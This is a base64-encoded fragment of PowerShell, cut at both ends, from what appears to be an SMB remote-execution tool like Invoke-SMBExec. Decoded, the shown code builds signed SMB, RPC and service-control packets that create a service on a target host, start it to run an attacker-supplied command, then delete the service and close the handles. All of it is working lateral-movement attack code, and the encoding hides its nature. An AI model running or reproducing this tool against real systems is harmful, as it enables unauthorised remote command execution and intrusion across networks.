CAgICANCiAgICAgICAgICAgICAgICAgICAgJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcgJFNNQl9zZXJ2aWNlX21hbmFnZXJfY29udGV4dF9oYW5kbGUgJFNNQl9zZXJ2aWNlX2J5dGVzICRTTUJfc2VydmljZV9sZW5ndGggJFNNQkV4ZWNfY29tbWFuZF9ieXRlcyAkU01CRXhlY19jb21tYW5kX2xlbmd0aF9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMiwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwYywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJXcml0ZUFuZFhSZXF1ZXN0ICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnU3RhcnRTZXJ2aWNlVycgICANCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdTdGFydFNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTE1XSkgLWVxICcwMC0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiU2VydmljZSAkU01CX3NlcnZpY2UgY3JlYXRlZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbOTIuLjExMV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01TdGFydFNlcnZpY2VXICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAkU0NNX2RhdGEubGVuZ3RoIDAgMCAweDAzLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDEzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCAkU0NNX2RhdGEubGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YVsiU01CV3JpdGVBbmRYUmVxdWVzdF9GSUQiXSA9ICRTTUJfRklEDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUJfZGF0YS5MZW5ndGggKyAkU0NNX2RhdGEuTGVuZ3RoICsgJFJQQ19kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiVHJ5aW5nIHRvIGV4ZWN1dGUgY29tbWFuZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0RlbGV0ZVNlcnZpY2VXJyAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTE1XSkgLWVxICczMS0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBjcmVhdGlvbiBmYWlsZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSBjcmVhdGlvbiBmYXVsdCBjb250ZXh0IG1pc21hdGNoIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJFeGVjX2ZhaWxlZCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0RlbGV0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7IA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbODguLjkxXSkgLWVxICcxZC0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJDb21tYW5kIGV4ZWN1dGVkIHdpdGggc2VydmljZSAkU01CX3NlcnZpY2Ugb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbODguLjkxXSkgLWVxICcwMi0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBmYWlsZWQgdG8gc3RhcnQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDJmIDB4MTggMHgwNSwweDI4ICRTTUJfdHJlZV9JRCAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTURlbGV0ZVNlcnZpY2VXICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwNCwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJXcml0ZUFuZFhSZXF1ZXN0ICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDbG9zZVNlcnZpY2VIYW5kbGUnDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2Nsb3NlX3NlcnZpY2VfaGFuZGxlX3N0YWdlID0gMQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0Nsb3NlU2VydmljZUhhbmRsZScNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSAtZXEgMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICRTTUJfc2VydmljZSBkZWxldGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSsrDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01DbG9zZVNlcnZpY2VIYW5kbGUgJFNNQl9zZXJ2aWNlX2NvbnRleHRfaGFuZGxlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlICRTTUJfc2VydmljZV9tYW5hZ2VyX2NvbnRleHRfaGFuZGxlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDUsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCAkU0NNX2RhdGEubGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCJdID0gJFNNQl9GSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQl9kYXRhLkxlbmd0aCArICRTQ01fZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmV